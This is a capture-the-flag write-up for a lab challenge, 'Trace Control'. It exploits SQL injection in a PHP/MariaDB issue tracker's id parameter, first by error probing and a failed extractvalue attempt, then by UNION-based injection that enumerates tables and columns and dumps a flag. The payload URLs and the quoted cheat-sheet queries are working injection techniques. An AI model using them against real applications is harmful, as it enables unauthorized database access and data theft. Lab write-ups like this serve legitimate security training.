Trace Control

Trackboard, an internal issue tracker, rolled to production with display_errors accidentally left on. Its /issues page has a numeric id param and a loose sense of type safety. Coax a database error to tell you what you need.

Room Description

https://dashboard.webverselabs-pro.com/challenges/trace-control

Trace Control — figure 1
Scenario

Trackboard is the bug tracker your ops team lives in. A late-night deploy kicked `display_errors=1` into production because the release candidate never had its php.ini re-checked. You've got a few hours before the next deploy — make them count.

Objective

Trackboard, an internal issue tracker, rolled to production with display_errors accidentally left on. Its /issues page has a numeric id param and a loose sense of type safety. Coax a database error to tell you what you need.

Initial Analysis

The challenge description gave two key hints:

  • display_errors=1 was accidentally left on in production
  • The /issues.php page has a numeric id param with "loose type safety"

Visiting the app showed a standard bug tracker (Trackboard) with issues accessible via /issues.php?id=1.

Trace Control — figure 2

The dashboard lists all the issues, and there are functions to create new issues and search through them.

Finding the bug

We don't need to act ignorant and we can follow the instructions that the challenge description gives us, we need to find the /issues.php endpoint, opening up any of the listed items on the dashboard sends us over there.

Trace Control — figure 3

First thing on the menu, let's add a ' and see what kind of response we get.

Trace Control — figure 4
SQL error: SQLSTATE[42000]: Syntax error or access violation: 1064 
You have an error in your SQL syntax; check the manual that corresponds 
to your MariaDB server version for the right syntax to use near ''' at line 1

Okay, this tells us exactly what kind of database we are dealing with and what kind of syntax our queries and payloads should be.

Exploitation

Best thing to always try is to get the most verbose output we can.

https://portswigger.net/web-security/sql-injection/cheat-sheet

Extracting data via visible error messages

You can potentially elicit error messages that leak sensitive data returned by your malicious query.

| Microsoft | SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int. | | ---------- | --------------------------------------------------------------------------------------------------------------------------- | | PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret" | | MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret' |

The trick SQLi researchers discovered is that when the XPATH expression is invalid, the database throws an error that includes the invalid expression in the error message. So if you make the "invalid" part be the result of a subquery, the database helpfully prints your data in the error.

/issues.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT database())))
Trace Control — figure 5
SQL error: SQLSTATE[HY000]: General error: 1105 
Only constant XPATH queries are supported

Oh no, well, MariaDB blocks subqueries inside extractvalue() , we need something else.

https://mariadb.com/docs/server/reference/sql-functions/string-functions/extractvalue

It detects that the second argument contains a subquery (a non-constant expression) and rejects it outright with:

General error: 1105 Only constant XPATH queries are supported

It never even runs the subquery. The data never gets evaluated, so nothing leaks.

Trace Control — figure 6

UNION-Based Injection

Since the page renders issue content back to the user, UNION injection is viable. First, enumerate the column count by adding columns until no error:

/issues.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8--
Trace Control — figure 7

The page rendered with numbers visible in the title/description/assignee fields, 8 columns, with positions 3 and 4 reflected in the HTML output. We know we have control over 8 columns, so we can query both the database name and table names at the same time.

/issues.php?id=0 UNION SELECT 1,2,(SELECT database()),( SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),5,6,7,8--
Trace Control — figure 8

Okay great! We have the database name which is chalapp, and we have the tables called: comments, projects, admin_flags, issues. One might wonder, which one should we target? Let's see the columns from admin_flags.

/issues.php?id=0 UNION SELECT 1,2,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='admin_flags'),4,5,6,7,8--
Trace Control — figure 9

Okay, easy enough, let's get the column value for flag!

/issues.php?id=0 UNION SELECT 1,2,(SELECT group_concat(flag) FROM admin_flags),4,5,6,7,8--
Trace Control — figure 10